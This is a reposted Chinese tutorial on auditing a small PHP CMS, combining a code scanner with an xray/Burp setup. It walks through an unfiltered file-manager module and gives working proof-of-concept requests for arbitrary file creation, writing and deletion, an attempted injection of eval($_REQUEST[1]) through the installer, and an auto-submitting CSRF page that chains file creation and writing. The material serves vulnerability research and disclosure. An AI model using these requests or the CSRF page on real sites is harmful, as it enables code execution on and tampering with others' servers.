通用型漏洞挖掘思路技巧
文章來源:先知社區(ajie)
原文地址:https://xz.aliyun.com/t/10539
0x01 前言
大概是在上半年提交了某個CMS的命令執行漏洞,現在過了那么久,也想通過這次挖掘通用型漏洞,整理一下挖掘思路,分享給大家。
0x02 挖掘前期
一、CMS選擇
如果你是第一次挖白盒漏洞,那么建議你像我一樣,先找一些簡單的來挖掘。
具體源碼下載地址可以參考:
https://github.com/search?q=cmshttps://search.gitee.com/?skin=rec&type=repository&q=cmshttps://down.chinaz.com/https://www.a5xiazai.com/......
百度找找,肯定不止這些

那么應該怎么選擇呢(這里我是站在第一次挖掘,或者僅使用過掃描工具掃描的師傅的角度這樣說的,如果做過開發,代碼功底很強等情況,emm...當我沒說。):
1、找最新版的版本較低的,例如1.1、1.22、找github star不多的3、找源碼總容量小的4、盡量不要找使用tp、yii、laravel等框架型CMS 這里說一下理由:
1、如果cms版本高,說明開發有經常維護,同時也說明里面的簡單漏洞已經被發現并且被提交并整改了。(具體這個可以看看CMS官網放出的更新日志)


2、為什么找github star不多的cms?很簡單,使用的人不多,沒人標星,功能也比較少。
3、源碼少容易看啊,而且想著源代碼就那么點,看著也不會太心累。
4、這是我個人的理解哈,因為就像很多人說的,第一個審的可以看看bluecms。為什么?因為簡單啊,tp框架首先各種C方法,I方法的,就夠頭疼了。
扯了那么多,總結一句話:
跟挖SRC一樣,如果你一開始就瞄著阿里SRC、百度SRC等來挖掘,一直挖不到洞,是不是心態崩了呢;如果你一開始借助nday的poc,結合fofa搜集資產,一下子就能挖到簡單、小型企業的漏洞,雖然可能漏洞獎金不多、但是滿滿的成就感有沒有~代碼審計也是一樣的,一開始就找框架型的,MVC架構的CMS,不僅可能看不懂代碼,還可能連路由都弄不懂呢。所以一開始還是找些簡單的練練手比較好~
二、環境準備
1、PHPstudy
PHP、中間件、數據庫,一個軟件搞定,反正我是覺得用著很香。
下載地址:
https://www.xp.cn/

2、代碼掃描工具
目前的話我用的比較多的是seay和fortify。這里其實都一樣,不是所有漏洞都是要通讀代碼來發現的,有的時候借助工具可以快很多。
https://github.com/f1tz/cnseay


3、BurpSuite
滲透測試神器級別的工具,這里不多介紹了,畢竟挖漏洞不抓包怎么行呢。

4、漏洞掃描工具
雖然我們拿到了源碼,但是挖漏洞也不一定要從代碼上進行呀,可以結合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是業內說的灰盒測試。
掃描工具這里推薦Xray+burp聯動進行。隨便抓幾個包,有沒有漏洞一目了然,讓我們可以在測試漏洞的時候,還同時進行掃描。
下載地址:
https://github.com/chaitin/xray/releases

5、編輯器
編輯器的作用是方便查看代碼,在有需要的時候才用,這里可以算是我水字數吧,我個人比較喜歡nopad++,當然別的也是可以的,phpstorm最好,可以快捷進行函數跳轉。
三、搭建環境
1、首先下載源碼,解壓并放到phpstudy安裝目錄下的WWW文件夾中

2、安裝方法一般是請求http://127.0.0.1/install/就可以了,按照提示輸入信息。

3、提示安裝成功即可

0x03 挖掘中期
一、代碼掃描
借助seay自帶的自動審計功能進行代碼掃描

二、黑白盒配合發現漏洞
這個其實是很有搞頭的,這里沒有詳細說是因為當時確實重心在白盒上, 實際上我感覺這個發現漏洞再去找對應的代碼,會更加有趣些
1、瀏覽器設置代理,指向burp:127.0.0.1:8080


2、burp設置代理,指向xray:127.0.0.1:7777

3、開啟xray被動掃描,命令:
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html

4、在每個功能點都點一點,就跟正常測黑盒即可

5、查看xray掃描結果

6、查看代碼掃描結果

三、分析掃描結果
1、將結果一個個點擊查看,分析漏洞是否真實存在
因為工具是按照正則匹配來進行掃描的,總會出現一些可能存在,但是實際不存在的情況,例如這個:

因為$_G['SYSTEM']['PATH']疑似為可控變量,所以爆出任意文件包含漏洞,那么實際上,往上看可以發現$_G['SYSTEM']['PATH']其實已經事先定義好了。

2、定位漏洞
1)發現一個file_get_contents,可控變量為$path

往前看,$path為我們直接get傳入,只是做了一些限制與鑒權,沒有進行過濾
$path = realpath($_GET['path']);if (!$path) { if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) { PkPopup('{content:"不存在的路徑,請求路徑:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}'); } ExitJson('不存在的路徑,請求路徑:' . $_GET['path']);}$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);if (strpos($path, $spath) !== 0) { if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) { PkPopup('{content:"越權操作,請求路徑:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}'); } ExitJson('越權操作,請求路徑:' . $_GET['path']);}
switch ($type) { case 'edit' : if (filetype($path) != 'file') { if ($_G['GET']['JSON']) { ExitJson('不存在的文件'); } PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}'); } $suffix = substr($path, strrpos($path, '.') + 1); if (!InArray($suffixs, $suffix)) { if ($_G['GET']['JSON']) { ExitJson('不支持的文件格式'); } PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}'); } $filecontent1 = file_get_contents($path); $filecontent = htmlspecialchars($filecontent1, ENT_QUOTES); if ($filecontent1 && !$filecontent) { if ($_G['GET']['JSON']) { ExitJson('不支持該文件編碼,僅支持UTF-8'); } PkPopup('{content:"不支持該文件編碼,僅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}'); } if ($_G['GET']['JSON']) { ExitJson($filecontent1, TRUE); } $path = str_replace('\\', '/', $path); $paths = explode('/', $path); $path = ''; for ($i = 0; $i < count($paths); $i++) { if ($i == count($paths) - 1) { $filename = $paths[$i]; } else { $path .= $paths[$i] . '/'; } } ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename)); break;
2)往下看,對$path進行unlink(),即刪除操作

case 'del' : $r = unlink($path); ExitJson('操作完成', $r); break;
3)再往下,傳入mkname,使用file_put_contents進行文件創建,內容為空。很明顯只是檢測是否存在重復創建的情況,未進行過濾。

case 'mkfile' : $mkname = $_GET['mkname']; if (!$mkname) { ExitJson('請輸入目錄或文件的名稱'); } if ($type == 'mkdir') { if (file_exists($path . "/{$mkname}")) { ExitJson('目錄已存在'); } $r = mkdir($path . "/{$mkname}"); } else { if (file_exists($path . "/{$mkname}")) { ExitJson('文件已存在'); } $r = file_put_contents($path . "/{$mkname}", ''); } ExitJson('操作完成', $r === FALSE ? FALSE : TRUE); break;}
3、研究路由,查看如何調用漏洞函數
1)首先查看這個漏洞路徑為/app/filesmanager/index.php
字面上意思是在/app/目錄下的一個文件管理的操作
2)回到網站,剛剛黑盒測試的時候,發現路由規律為:


請求了http://192.168.150.9/index.php?c=read&id=1&page=1后,會發出這樣的一個請求:
/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1
通過a=puyuetianeditor:index,
定位文件位置為/app/puyuetianeditor/index.php

3)在文件中看到繼續請求了'/app/puyuetianeditor/phpscript/' . $_G['GET']['S'] . '.php,
在URL中可以看到s傳入的參數為myfiles,所以可以定位文件路徑為:/app/puyuetianeditor/phpscript/myfiles.php

4)漏洞路徑/app/filesmanager/index.php即可以對應URL
/?c=app&a=filesmanager:index
四、驗證漏洞
任意創建文件
1、搭建網站并登錄進網站后臺

2、漏洞存在點為/app/filesmanager/index.php

3、進行一些操作后,通過file_put_contents創建文件
poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php

4、在網站根目錄可以看到文件創建成功

任意文件寫入
poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.phpPOST:filecontent= phpinfo();?>
漏洞文件存在的路徑為/app/filesmanager/index.php
可以看到文件內容成功寫入

嘗試執行命令

任意文件刪除
poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php

漏洞文件存在的路徑為/app/filesmanager/index.php

可以看到123.php文件已成功刪除。

五、組合漏洞擴大成果
1、任意文件刪除配合系統重裝(失敗)
以前就有看到過這樣的漏洞,因為系統重裝的時候,會將用戶輸入的配置信息寫入到php文件中,那么如果可以輸入代碼,便可以成功執行了,這里嘗試一下。
1)首先查看index.php文件
只要install.locked文件存在即表示網站已安裝

2)再看/install/index.php,可以看到也是這個文件存在即不能重裝系統。

3)通過任意文件刪除,將此文件進行刪除:
http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
4)訪問/install/index.php即可進行重裝系統操作

5)正常執行,在step=2的時候,輸入數據庫等信息


定位到/phpscript/environment.php文件

再到/template/environment.hst

發現關鍵字mysql_username

全局搜索一下,定位文件位置:


可以看到配置信息最后會寫入到這里。

6)抓取傳入信息的數據包,進行測試

多次fuzz,確認確實可以寫入一些東西
POST /install/index.php?step=3 HTTP/1.1Host: 192.168.150.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 302Origin: http://192.168.150.9Connection: closeReferer: http://192.168.150.9/install/index.php?step=2Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E _webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9

7)最后發現不能傳入;,否則會報錯

8)假設傳入進去了,又會顯示403

9)感覺有機會,后面就看師傅們嘗試了。。。
2、任意文件寫入配合CSRF(成功)
在dedecms中看到過的漏洞,因為后臺的任意寫文件在沒有管理員權限的支持下無法利用,那么倘若配合CSRF漏洞,借用管理員的cookie便可以直接執行,擴大漏洞危害。
在這里嘗試一下:
1)首先抓取寫入文件的數據包,可以看到沒有明顯的token等字段
2)在漏洞文件中只是看到了權限檢測
3)使用burp生成任意文件寫入的CSRF漏洞POC,保存為test.html

4)生成任意文件創建的CSRF漏洞POC
5)將兩個文件整合到一起,并設置自動提交
<html> <body> <script>history.pushState('', '', '/')script> <form id='test1' action="http://192.168.150.9/index.php"> <input type="hidden" name="c" value="app" /> <input type="hidden" name="a" value="filesmanager:index" /> <input type="hidden" name="type" value="mkfile" /> <input type="hidden" name="mkname" value="123.php" /> <input type="submit" value="Submit request" /> form> <form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST"> <input type="hidden" name="filecontent" value="" /> <input type="submit" value="Submit request" /> form> <script> function test1() { document.getElementById("test1").submit(); } function test2() { document.getElementById("test2").submit(); } setTimeout(test1,100) setTimeout(test2,200)script> body>html>
6)在已登錄的瀏覽器中打開test.html文件
跳轉了幾次后,顯示ok,保存失敗

跟前面任意文件寫入的返回是一樣的,在網站根目錄可以看到已經成功寫入了

執行命令

0x04 挖掘后期&總結
挖掘后干嘛?提交漏洞唄~
好的,這個算是剛開始學習沒多久挖掘到的漏洞,其實現在覺得技術含量不高,發現漏洞也不難,主要想分享一下過程以及思路。
最后,希望看到這篇文章到小伙伴也能很快挖掘到通用型漏洞~